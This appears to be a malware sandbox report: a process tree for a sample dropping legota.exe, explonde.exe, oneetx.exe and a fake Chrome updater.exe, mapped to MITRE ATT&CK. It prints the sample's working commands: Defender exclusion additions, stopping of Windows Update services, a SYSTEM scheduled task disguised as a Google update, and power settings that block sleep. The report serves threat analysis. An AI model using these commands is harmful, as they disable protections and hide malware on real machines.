- Suspicious use of AdjustPrivilegeToken
PID:232

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:3920

C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe
1⤵
PID:4492

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe
1⤵
PID:3432

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2656
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4320
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4144
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3940
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:4556
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:408

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
1⤵
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:860

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:3976
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:4552
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2480
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:3216
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:3848

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:3860
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4412
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4712
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4056
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:4000
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:4160

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:4232

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2940
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:3956
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2872
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:4120
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qbjrr#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:3888

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3684

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery